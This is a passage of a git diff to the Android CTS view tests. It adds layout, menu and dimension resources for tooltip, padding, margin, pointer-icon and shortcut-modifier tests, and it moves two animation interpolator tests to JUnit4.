                     android:layout_height="wrap_content"
@@ -70,7 +70,7 @@
                     android:gravity="left"
                     />
 
-            <android.view.cts.MockTextView
+            <TextView
                     android:id="@+id/mock_textview_right"
                     android:layout_width="wrap_content"
                     android:layout_height="wrap_content"
@@ -80,7 +80,7 @@
                     android:gravity="right"
                     />
 
-            <android.view.cts.MockTextView
+            <TextView
                     android:id="@+id/mock_textview_center"
                     android:layout_width="wrap_content"
                     android:layout_height="wrap_content"
diff --git a/tests/tests/view/res/layout/tooltip_layout.xml b/tests/tests/view/res/layout/tooltip_layout.xml
new file mode 100644
index 0000000..eac341d
--- /dev/null
+++ b/tests/tests/view/res/layout/tooltip_layout.xml
@@ -0,0 +1,84 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:id="@+id/tooltip_layout"
+              android:layout_width="match_parent"
+              android:layout_height="match_parent"
+              android:orientation="vertical">
+
+    <LinearLayout
+            android:id="@+id/tooltip_group"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:orientation="vertical">
+
+        <TextView
+                android:id="@+id/no_tooltip"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:layout_margin="10dp"
+                android:text="View with no tooltip"/>
+
+        <TextView
+                android:id="@+id/has_tooltip"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:layout_margin="10dp"
+                android:text="View with tooltip"
+                android:tooltipText="tooltip text"/>
+
+    </LinearLayout>
+
+    <TextView
+            android:id="@+id/no_tooltip2"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:layout_margin="10dp"
+            android:text="Another view with no tooltip"/>
+
+    <LinearLayout
+            android:id="@+id/empty_group"
+            android:layout_width="100dp"
+            android:layout_height="30dp"
+            android:layout_margin="10dp"
+            android:background="#ddd"/>
+
+    <RelativeLayout
+            android:id="@+id/overlap_group"
+            android:layout_width="100dp"
+            android:layout_height="30dp"
+            android:layout_margin="10dp"
+            android:tooltipText="overlap tooltip group"
+            android:background="#ddd">
+        <View
+                android:id="@+id/overlap1"
+                android:layout_width="match_parent"
+                android:layout_height="match_parent"
+                android:tooltipText="overlap tooltip 1" />
+        <View
+                android:id="@+id/overlap2"
+                android:layout_width="match_parent"
+                android:layout_height="match_parent"
+                android:tooltipText="overlap tooltip 2" />
+        <View
+                android:id="@+id/overlap3"
+                android:layout_width="match_parent"
+                android:layout_height="match_parent"
+                android:tooltipText="overlap tooltip 3" />
+    </RelativeLayout>
+
+</LinearLayout>
diff --git a/tests/tests/view/res/layout/view_layout.xml b/tests/tests/view/res/layout/view_layout.xml
index 64ebe39..920da83 100644
--- a/tests/tests/view/res/layout/view_layout.xml
+++ b/tests/tests/view/res/layout/view_layout.xml
@@ -123,6 +123,26 @@
       </LinearLayout>
     </LinearLayout>
 
+    <RelativeLayout
+      android:id="@+id/pointer_icon_overlap"
+      android:layout_width="100px"
+      android:layout_height="100px"
+      android:pointerIcon="crosshair">
+      <View
+        android:id="@+id/pointer_icon_overlap_child1"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"/>
+      <View
+        android:id="@+id/pointer_icon_overlap_child2"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent" />
+      <View
+        android:id="@+id/pointer_icon_overlap_child3"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"
+        android:pointerIcon="help" />
+    </RelativeLayout>
+
     <FrameLayout
         android:id="@+id/aggregate_visibility_parent"
         android:layout_width="wrap_content"
diff --git a/tests/tests/view/res/layout/view_padding.xml b/tests/tests/view/res/layout/view_padding.xml
new file mode 100644
index 0000000..c0e6e90
--- /dev/null
+++ b/tests/tests/view/res/layout/view_padding.xml
@@ -0,0 +1,177 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:orientation="vertical"
+              android:layout_width="match_parent"
+              android:layout_height="match_parent">
+    <LinearLayout
+            android:orientation="horizontal"
+            android:layout_width="match_parent"
+            android:layout_height="100dp">
+        <View
+                android:layout_width="match_parent"
+                android:layout_height="match_parent"
+                android:id="@+id/view1"/>
+    </LinearLayout>
+
+    <LinearLayout
+            android:orientation="horizontal"
+            android:padding="@dimen/insetAll"
+            android:layout_width="match_parent"
+            android:layout_height="100dp">
+        <View
+                android:layout_width="match_parent"
+                android:layout_height="match_parent"
+                android:id="@+id/view2"/>
+    </LinearLayout>
+
+    <LinearLayout
+            android:orientation="horizontal"
+            android:paddingLeft="@dimen/insetLeft"
+            android:paddingTop="@dimen/insetTop"
+            android:layout_width="match_parent"
+            android:layout_height="100dp">
+        <View
+                android:layout_width="match_parent"
+                android:layout_height="match_parent"
+                android:id="@+id/view3"/>
+    </LinearLayout>
+
+    <LinearLayout
+            android:orientation="horizontal"
+            android:paddingRight="@dimen/insetRight"
+            android:paddingBottom="@dimen/insetBottom"
+            android:layout_width="match_parent"
+            android:layout_height="100dp">
+        <View
+                android:layout_width="match_parent"
+                android:layout_height="match_parent"
+                android:id="@+id/view4"/>
+    </LinearLayout>
+
+    <LinearLayout
+            android:orientation="horizontal"
+            android:paddingLeft="@dimen/insetLeft"
+            android:paddingTop="@dimen/insetTop"
+            android:paddingRight="@dimen/insetRight"
+            android:paddingBottom="@dimen/insetBottom"
+            android:layout_width="match_parent"
+            android:layout_height="100dp">
+        <View
+                android:layout_width="match_parent"
+                android:layout_height="match_parent"
+                android:id="@+id/view5"/>
+    </LinearLayout>
+
+
+    <LinearLayout
+            android:orientation="horizontal"
+            android:paddingHorizontal="@dimen/insetHorizontal"
+            android:layout_width="match_parent"
+            android:layout_height="100dp">
+        <View
+                android:layout_width="match_parent"
+                android:layout_height="match_parent"
+                android:id="@+id/view6"/>
+    </LinearLayout>
+
+    <LinearLayout
+            android:orientation="horizontal"
+            android:paddingVertical="@dimen/insetVertical"
+            android:layout_width="match_parent"
+            android:layout_height="100dp">
+        <View
+                android:layout_width="match_parent"
+                android:layout_height="match_parent"
+                android:id="@+id/view7"/>
+    </LinearLayout>
+
+    <LinearLayout
+            android:orientation="horizontal"
+            android:paddingHorizontal="@dimen/insetHorizontal"
+            android:paddingVertical="@dimen/insetVertical"
+            android:layout_width="match_parent"
+            android:layout_height="100dp">
+        <View
+                android:layout_width="match_parent"
+                android:layout_height="match_parent"
+                android:id="@+id/view8"/>
+    </LinearLayout>
+
+    <LinearLayout
+            android:orientation="horizontal"
+            android:paddingHorizontal="@dimen/insetHorizontal"
+            android:paddingVertical="@dimen/insetVertical"
+            android:paddingLeft="0dp"
+            android:paddingTop="0dp"
+            android:paddingRight="0dp"
+            android:paddingBottom="0dp"
+            android:layout_width="match_parent"
+            android:layout_height="100dp">
+        <View
+                android:layout_width="match_parent"
+                android:layout_height="match_parent"
+                android:id="@+id/view9"/>
+    </LinearLayout>
+
+    <LinearLayout
+            android:orientation="horizontal"
+            android:padding="@dimen/insetAll"
+            android:paddingHorizontal="@dimen/insetHorizontal"
+            android:paddingVertical="@dimen/insetVertical"
+            android:paddingLeft="@dimen/insetLeft"
+            android:paddingTop="@dimen/insetTop"
+            android:paddingRight="@dimen/insetRight"
+            android:paddingBottom="@dimen/insetBottom"
+            android:layout_width="match_parent"
+            android:layout_height="100dp">
+        <View
+                android:layout_width="match_parent"
+                android:layout_height="match_parent"
+                android:id="@+id/view10"/>
+    </LinearLayout>
+
+    <LinearLayout
+            android:orientation="horizontal"
+            android:padding="@dimen/insetAll"
+            android:paddingStart="@dimen/insetStart"
+            android:paddingEnd="@dimen/insetEnd"
+            android:layout_width="match_parent"
+            android:layout_height="100dp">
+        <View
+                android:layout_width="match_parent"
+                android:layout_height="match_parent"
+                android:id="@+id/view11"/>
+    </LinearLayout>
+
+    <LinearLayout
+            android:orientation="horizontal"
+            android:paddingHorizontal="@dimen/insetHorizontal"
+            android:paddingStart="@dimen/insetStart"
+            android:paddingEnd="@dimen/insetEnd"
+            android:layout_width="match_parent"
+            android:layout_height="100dp">
+        <View
+                android:layout_width="match_parent"
+                android:layout_height="match_parent"
+                android:id="@+id/view12"/>
+    </LinearLayout>
+
+
+</LinearLayout>
+
diff --git a/tests/tests/view/res/layout/viewgroup_margin_layout_verticalhorizontal.xml b/tests/tests/view/res/layout/viewgroup_margin_layout_verticalhorizontal.xml
new file mode 100644
index 0000000..3049623
--- /dev/null
+++ b/tests/tests/view/res/layout/viewgroup_margin_layout_verticalhorizontal.xml
@@ -0,0 +1,111 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:orientation="vertical"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+    <LinearLayout
+            android:orientation="horizontal"
+            android:layout_width="match_parent"
+            android:layout_height="100dp">
+        <View
+                android:layout_width="match_parent"
+                android:layout_height="match_parent"
+                android:id="@+id/view1"/>
+    </LinearLayout>
+
+    <LinearLayout
+            android:orientation="horizontal"
+            android:layout_width="match_parent"
+            android:layout_height="100dp">
+        <View
+                android:layout_width="match_parent"
+                android:layout_height="match_parent"
+                android:layout_marginHorizontal="@dimen/marginHorizontal"
+                android:id="@+id/view2"/>
+    </LinearLayout>
+
+    <LinearLayout
+            android:orientation="horizontal"
+            android:layout_width="match_parent"
+            android:layout_height="100dp">
+        <View
+                android:layout_width="match_parent"
+                android:layout_height="match_parent"
+                android:layout_marginVertical="@dimen/marginVertical"
+                android:id="@+id/view3"/>
+    </LinearLayout>
+
+    <LinearLayout
+            android:orientation="horizontal"
+            android:layout_width="match_parent"
+            android:layout_height="100dp">
+        <View
+                android:layout_width="match_parent"
+                android:layout_height="match_parent"
+                android:layout_marginHorizontal="@dimen/marginHorizontal"
+                android:layout_marginVertical="@dimen/marginVertical"
+                android:id="@+id/view4"/>
+    </LinearLayout>
+
+    <LinearLayout
+            android:orientation="horizontal"
+            android:layout_width="match_parent"
+            android:layout_height="100dp">
+        <View
+                android:layout_width="match_parent"
+                android:layout_height="match_parent"
+                android:layout_marginHorizontal="@dimen/marginHorizontal"
+                android:layout_marginLeft="@dimen/marginLeft"
+                android:layout_marginRight="@dimen/marginRight"
+                android:layout_marginVertical="@dimen/marginVertical"
+                android:layout_marginTop="@dimen/marginTop"
+                android:layout_marginBottom="@dimen/marginBottom"
+                android:id="@+id/view5"/>
+    </LinearLayout>
+
+    <LinearLayout
+            android:orientation="horizontal"
+            android:layout_width="match_parent"
+            android:layout_height="100dp">
+        <View
+                android:layout_width="match_parent"
+                android:layout_height="match_parent"
+                android:layout_marginHorizontal="@dimen/marginHorizontal"
+                android:layout_marginStart="@dimen/marginStart"
+                android:layout_marginEnd="@dimen/marginEnd"
+                android:layout_marginVertical="@dimen/marginVertical"
+                android:id="@+id/view6"/>
+    </LinearLayout>
+
+    <LinearLayout
+            android:orientation="horizontal"
+            android:layout_width="match_parent"
+            android:layout_height="100dp">
+        <View
+                android:layout_width="match_parent"
+                android:layout_height="match_parent"
+                android:layout_margin="@dimen/marginAll"
+                android:layout_marginStart="@dimen/marginStart"
+                android:layout_marginEnd="@dimen/marginEnd"
+                android:layout_marginVertical="@dimen/marginVertical"
+                android:id="@+id/view7"/>
+    </LinearLayout>
+
+</LinearLayout>
+
diff --git a/tests/tests/view/res/menu/content_description.xml b/tests/tests/view/res/menu/content_description.xml
new file mode 100644
index 0000000..45b594a
--- /dev/null
+++ b/tests/tests/view/res/menu/content_description.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<menu xmlns:android="http://schemas.android.com/apk/res/android">
+
+    <item android:id="@+id/item1"
+          android:title="item1"
+          android:contentDescription="description1" />
+
+    <item android:id="@+id/item2"
+          android:title="item2"
+          android:contentDescription="description2" />
+
+    <item android:id="@+id/item3"
+          android:title="item3" />
+
+</menu>
diff --git a/tests/tests/view/res/menu/menu_regular.xml b/tests/tests/view/res/menu/menu_regular.xml
new file mode 100644
index 0000000..89d31d6
--- /dev/null
+++ b/tests/tests/view/res/menu/menu_regular.xml
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<menu xmlns:android="http://schemas.android.com/apk/res/android">
+
+    <item
+        android:id="@+id/menu_first"
+        android:title="@string/menu1"
+        android:icon="@drawable/icon_blue"
+        android:iconTint="@android:color/white"
+        android:showAsAction="always"/>
+
+    <item
+        android:id="@+id/menu_second"
+        android:title="@string/menu2"
+        android:icon="@drawable/icon_black"
+        android:iconTintMode="screen"
+        android:showAsAction="always"/>
+
+    <item
+        android:id="@+id/menu_third"
+        android:title="@string/menu3"
+        android:icon="@drawable/icon_green"/>
+
+    <item
+        android:id="@+id/menu_fourth"
+        android:title="@string/menu4"
+        android:icon="@drawable/icon_red"/>
+
+    <item
+        android:id="@+id/menu_fifth"
+        android:title="@string/menu5"
+        android:icon="@drawable/icon_yellow"/>
+
+    <item
+        android:id="@+id/menu_sixth"
+        android:title="@string/menu6"/>
+
+</menu>
diff --git a/tests/tests/view/res/menu/shortcut_modifiers.xml b/tests/tests/view/res/menu/shortcut_modifiers.xml
new file mode 100644
index 0000000..4204940
--- /dev/null
+++ b/tests/tests/view/res/menu/shortcut_modifiers.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2008 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<menu xmlns:android="http://schemas.android.com/apk/res/android">
+
+    <item android:id="@+id/no_modifiers"
+        android:onClick="handleMenuItem"
+        android:alphabeticShortcut="a" />
+
+    <item android:id="@+id/default_modifiers"
+        android:alphabeticShortcut="b"
+        android:onClick="handleMenuItem"
+        android:alphabeticModifiers="CTRL" />
+
+    <item android:id="@+id/single_modifier"
+        android:alphabeticShortcut="c"
+        android:onClick="handleMenuItem"
+        android:alphabeticModifiers="SHIFT" />
+
+    <item android:id="@+id/multiple_modifiers"
+        android:alphabeticShortcut="d"
+        android:onClick="handleMenuItem"
+        android:alphabeticModifiers="CTRL|SHIFT" />
+
+</menu>
diff --git a/tests/tests/view/res/menu/tooltip.xml b/tests/tests/view/res/menu/tooltip.xml
new file mode 100644
index 0000000..b15a9b4
--- /dev/null
+++ b/tests/tests/view/res/menu/tooltip.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<menu xmlns:android="http://schemas.android.com/apk/res/android">
+
+    <item android:id="@+id/item1"
+          android:title="item1"
+          android:tooltipText="tooltip1" />
+
+    <item android:id="@+id/item2"
+          android:title="item2"
+          android:tooltipText="tooltip2" />
+
+    <item android:id="@+id/item3"
+          android:title="item3" />
+
+</menu>
diff --git a/tests/tests/view/res/menu/visible_shortcut.xml b/tests/tests/view/res/menu/visible_shortcut.xml
index 4d6f362..57ceda1 100644
--- a/tests/tests/view/res/menu/visible_shortcut.xml
+++ b/tests/tests/view/res/menu/visible_shortcut.xml
@@ -34,4 +34,19 @@
 
     </group>
 
+    <item android:id="@+id/no_modifiers"
+          android:alphabeticShortcut="d" />
+
+    <item android:id="@+id/default_modifiers"
+          android:alphabeticShortcut="e"
+          android:alphabeticModifiers="CTRL" />
+
+    <item android:id="@+id/single_modifier"
+          android:alphabeticShortcut="f"
+          android:alphabeticModifiers="SHIFT" />
+
+    <item android:id="@+id/multiple_modifiers"
+          android:alphabeticShortcut="g"
+          android:alphabeticModifiers="CTRL|SHIFT" />
+
 </menu>
diff --git a/tests/tests/view/res/values/attrs.xml b/tests/tests/view/res/values/attrs.xml
index 4c3d9db..e7181fc 100644
--- a/tests/tests/view/res/values/attrs.xml
+++ b/tests/tests/view/res/values/attrs.xml
@@ -129,7 +129,6 @@
     <attr name="themeType" format="integer"/>
     <!-- Theme reference used to override parent theme. -->
     <attr name="themeOverrideAttr" format="reference"/>
-
     <!-- Drawable theming attributes -->
     <attr name="themeBoolean" />
     <attr name="themeColor" />
@@ -142,4 +141,6 @@
     <attr name="themeGravity" />
     <attr name="themeTileMode" />
     <attr name="themeAngle" />
+    <!-- Used by LayoutInflaterTest to specify layout from ?attr. -->
+    <attr name="includeLayout" format="reference" />
 </resources>
diff --git a/tests/tests/view/res/values/dimens.xml b/tests/tests/view/res/values/dimens.xml
index 16e5084..5680de0 100644
--- a/tests/tests/view/res/values/dimens.xml
+++ b/tests/tests/view/res/values/dimens.xml
@@ -20,4 +20,25 @@
     <dimen name="reset_state_value">50dp</dimen>
     <!-- this value is equal to the value in changing_state_list_animator. It is NOT referenced in the XML on purpose-->
     <dimen name="changing_state_list_anim_target_x_value">100dp</dimen>
+    <dimen name="insetLeft">5dp</dimen>
+    <dimen name="insetTop">6dp</dimen>
+    <dimen name="insetRight">7dp</dimen>
+    <dimen name="insetBottom">8dp</dimen>
+    <dimen name="insetStart">9dp</dimen>
+    <dimen name="insetEnd">10dp</dimen>
+    <dimen name="insetAll">11dp</dimen>
+    <dimen name="insetHorizontal">12dp</dimen>
+    <dimen name="insetVertical">13dp</dimen>
+    <dimen name="marginLeft">5dp</dimen>
+    <dimen name="marginTop">6dp</dimen>
+    <dimen name="marginRight">7dp</dimen>
+    <dimen name="marginBottom">8dp</dimen>
+    <dimen name="marginStart">9dp</dimen>
+    <dimen name="marginEnd">10dp</dimen>
+    <dimen name="marginAll">11dp</dimen>
+    <dimen name="marginHorizontal">12dp</dimen>
+    <dimen name="marginVertical">13dp</dimen>
+    <dimen name="hover_target_margin">4dp</dimen>
+    <dimen name="hover_target_size">8dp</dimen>
+    <dimen name="hover_target_size_double">16dp</dimen>
 </resources>
\ No newline at end of file
diff --git a/tests/tests/view/res/values/strings.xml b/tests/tests/view/res/values/strings.xml
index c167278..52478b5 100644
--- a/tests/tests/view/res/values/strings.xml
+++ b/tests/tests/view/res/values/strings.xml
@@ -176,4 +176,11 @@
 text, I would love to see the kind of devices you guys now use! Guys, maybe some devices need longer string!
 I think so, so how about double this string, like copy and paste! </string>
     <string name="rectangle200">"M 0,0 l 200,0 l 0, 200 l -200, 0 z"</string>
+
+    <string name="menu1">menu one</string>
+    <string name="menu2">menu two</string>
+    <string name="menu3">menu three</string>
+    <string name="menu4">menu four</string>
+    <string name="menu5">menu five</string>
+    <string name="menu6">menu six</string>
 </resources>
diff --git a/tests/tests/view/res/values/styles.xml b/tests/tests/view/res/values/styles.xml
index 4979241..17bc2a3 100644
--- a/tests/tests/view/res/values/styles.xml
+++ b/tests/tests/view/res/values/styles.xml
@@ -136,6 +136,7 @@
         <item name="android:windowNoTitle">true</item>
         <item name="android:panelColorForeground">#ff000000</item>
         <item name="android:panelColorBackground">#ffffffff</item>
+        <item name="includeLayout">@layout/include_layout_from_attr</item>
     </style>
 
     <style name="Theme_OverrideOuter">
diff --git a/tests/tests/view/res/xml/keyboard.xml b/tests/tests/view/res/xml/keyboard.xml
deleted file mode 100644
index dd64cc0..0000000
--- a/tests/tests/view/res/xml/keyboard.xml
+++ /dev/null
@@ -1,33 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-/*
-**
-** Copyright 2015, The Android Open Source Project
-**
-** Licensed under the Apache License, Version 2.0 (the "License");
-** you may not use this file except in compliance with the License.
-** You may obtain a copy of the License at
-**
-**     http://www.apache.org/licenses/LICENSE-2.0
-**
-** Unless required by applicable law or agreed to in writing, software
-** distributed under the License is distributed on an "AS IS" BASIS,
-** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-** See the License for the specific language governing permissions and
-** limitations under the License.
-*/
--->
-
-<Keyboard xmlns:android="http://schemas.android.com/apk/res/android"
-    android:keyWidth="10%p"
-    android:horizontalGap="0px"
-    android:verticalGap="0px"
-    android:keyHeight="10px"
-    >
-
-    <Row>
-        <Key android:codes="-1" android:keyLabel="Sticky!"
-                android:isModifier="true" android:isSticky="true" />
-        <Key android:codes="120" android:keyLabel="x" />
-    </Row>
-</Keyboard>
diff --git a/tests/tests/view/res/xml/method.xml b/tests/tests/view/res/xml/method.xml
deleted file mode 100644
index 763faa5..0000000
--- a/tests/tests/view/res/xml/method.xml
+++ /dev/null
@@ -1,19 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2008 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<input-method xmlns:android="http://schemas.android.com/apk/res/android"
-        android:settingsActivity="android.view.inputmethod.cts.InputMethodInfoStub"
-/>
diff --git a/tests/tests/view/src/android/view/animation/cts/AccelerateDecelerateInterpolatorTest.java b/tests/tests/view/src/android/view/animation/cts/AccelerateDecelerateInterpolatorTest.java
index 440e390..926d707 100644
--- a/tests/tests/view/src/android/view/animation/cts/AccelerateDecelerateInterpolatorTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/AccelerateDecelerateInterpolatorTest.java
@@ -16,12 +16,17 @@
 
 package android.view.animation.cts;
 
-import android.view.cts.R;
-
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
 
 import android.app.Activity;
+import android.app.Instrumentation;
 import android.content.res.XmlResourceParser;
-import android.test.ActivityInstrumentationTestCase2;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.View;
@@ -31,25 +36,34 @@
 import android.view.animation.AnimationUtils;
 import android.view.animation.Interpolator;
 import android.view.animation.Transformation;
+import android.view.cts.R;
 
-public class AccelerateDecelerateInterpolatorTest
-        extends ActivityInstrumentationTestCase2<AnimationTestCtsActivity> {
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-    private Activity mActivity;
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class AccelerateDecelerateInterpolatorTest {
     private static final float ALPHA_DELTA = 0.001f;
     /** It is defined in R.anim.accelarate_decelerate_alpha */
     private static final long ALPHA_DURATION = 2000;
 
-    public AccelerateDecelerateInterpolatorTest() {
-        super("android.view.cts", AnimationTestCtsActivity.class);
+    private Instrumentation mInstrumentation;
+    private Activity mActivity;
+
+    @Rule
+    public ActivityTestRule<AnimationTestCtsActivity> mActivityRule =
+            new ActivityTestRule<>(AnimationTestCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-    }
-
+    @Test
     public void testConstructor() {
         new AccelerateDecelerateInterpolator();
 
@@ -59,7 +73,8 @@
         new AccelerateDecelerateInterpolator(mActivity, attrs);
     }
 
-    public void testAccelerateDecelerateInterpolator() {
+    @Test
+    public void testAccelerateDecelerateInterpolator() throws Throwable {
         final View animWindow = mActivity.findViewById(R.id.anim_window);
 
         // XML file of R.anim.accelerate_decelerate_alpha
@@ -74,7 +89,7 @@
         assertTrue(anim instanceof AlphaAnimation);
         assertFalse(anim.hasStarted());
 
-        AnimationTestUtils.assertRunAnimation(getInstrumentation(), animWindow, anim);
+        AnimationTestUtils.assertRunAnimation(mInstrumentation, mActivityRule, animWindow, anim);
 
         Transformation transformation = new Transformation();
         long startTime = anim.getStartTime();
@@ -105,6 +120,7 @@
         assertTrue(delta3 > delta4);
     }
 
+    @Test
     public void testGetInterpolation() {
         Interpolator interpolator = new AccelerateDecelerateInterpolator();
 
diff --git a/tests/tests/view/src/android/view/animation/cts/AccelerateInterpolatorTest.java b/tests/tests/view/src/android/view/animation/cts/AccelerateInterpolatorTest.java
index b2be24d..92fa08d 100644
--- a/tests/tests/view/src/android/view/animation/cts/AccelerateInterpolatorTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/AccelerateInterpolatorTest.java
@@ -16,12 +16,17 @@
 
 package android.view.animation.cts;
 
-import android.view.cts.R;
-
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
 
 import android.app.Activity;
+import android.app.Instrumentation;
 import android.content.res.XmlResourceParser;
-import android.test.ActivityInstrumentationTestCase2;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.View;
@@ -31,26 +36,35 @@
 import android.view.animation.AnimationUtils;
 import android.view.animation.Interpolator;
 import android.view.animation.Transformation;
+import android.view.cts.R;
 
-public class AccelerateInterpolatorTest
-        extends ActivityInstrumentationTestCase2<AnimationTestCtsActivity> {
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-    public AccelerateInterpolatorTest() {
-        super("android.view.cts", AnimationTestCtsActivity.class);
-    }
-
-    private Activity mActivity;
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class AccelerateInterpolatorTest {
     private static final float ALPHA_DELTA = 0.001f;
 
     /** It is defined in R.anim.accelerate_alpha */
     private static final long ACCELERATE_ALPHA_DURATION = 1000;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
+    private Instrumentation mInstrumentation;
+    private Activity mActivity;
+
+    @Rule
+    public ActivityTestRule<AnimationTestCtsActivity> mActivityRule =
+            new ActivityTestRule<>(AnimationTestCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
     }
 
+    @Test
     public void testConstructor() {
         new AccelerateInterpolator();
 
@@ -61,7 +75,8 @@
         new AccelerateInterpolator(mActivity, attrs);
     }
 
-    public void testAccelerateInterpolator() {
+    @Test
+    public void testAccelerateInterpolator() throws Throwable {
         final View animWindow = mActivity.findViewById(R.id.anim_window);
 
         // XML file of R.anim.accelerate_alpha
@@ -80,7 +95,7 @@
         anim.setInterpolator(interpolator);
         assertFalse(anim.hasStarted());
 
-        AnimationTestUtils.assertRunAnimation(getInstrumentation(), animWindow, anim);
+        AnimationTestUtils.assertRunAnimation(mInstrumentation, mActivityRule, animWindow, anim);
 
